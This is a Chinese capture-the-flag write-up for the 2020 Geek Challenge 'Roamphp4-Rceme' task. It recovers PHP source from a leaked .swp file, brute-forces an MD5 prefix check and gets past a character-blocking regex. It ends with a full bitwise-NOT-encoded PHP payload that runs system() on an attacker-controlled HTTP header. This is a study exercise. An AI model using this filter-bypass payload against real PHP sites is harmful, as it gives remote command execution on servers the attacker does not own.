[极客大挑战 2020]Roamphp4-Rceme
打开源码,可以发现提示
有个swp文件,我们访问/.index.php.swp
我们把它下载下来就得到了一个swp文件
然后去Linux的vim -r进行源码读取
1 |
|
在rce前,他有个认证。md5的前五位数要等于给定的值,我们写个python脚本
1 | import hashlib |
我们重点看正则
1 | if(strlen($code) > 70 or preg_match('/[A-Za-z0-9]|\'|"|`|\ |,|\.|-|\+|=|\/|\\|<|>|\$|\?|\^|&|\|/ixm',$code)) |
这个要求无参数rce
1 | if(';' === preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $code)) |
这个要求形式为
然后末尾还要加个;,才能保证最后只剩下;
我们了解一些前置知识
(‘phpinfo’)()
‘phpinfo’()
[‘phpinfo’]{0}()
效果作用是一样的。phpinfo():
[~%8F%97%8F%96%91%99%90][~%CF]();
加这个[~%FF]
只是因为php7的解析方式,当然换成其他的也可以例如[%EF] [%CF]
我们使用
1 | system(end(getallheader())); //getallheaders()简单讲可以获取数包据头 |
我们反编译一下就得到了
1 | [~%8C%86%8C%8B%9A%92][~%CF]([~%9A%91%9B][~%CF]([~%98%9A%8B%9E%93%93%97%9A%9E%9B%9A%8D%8C][~%CF]())); |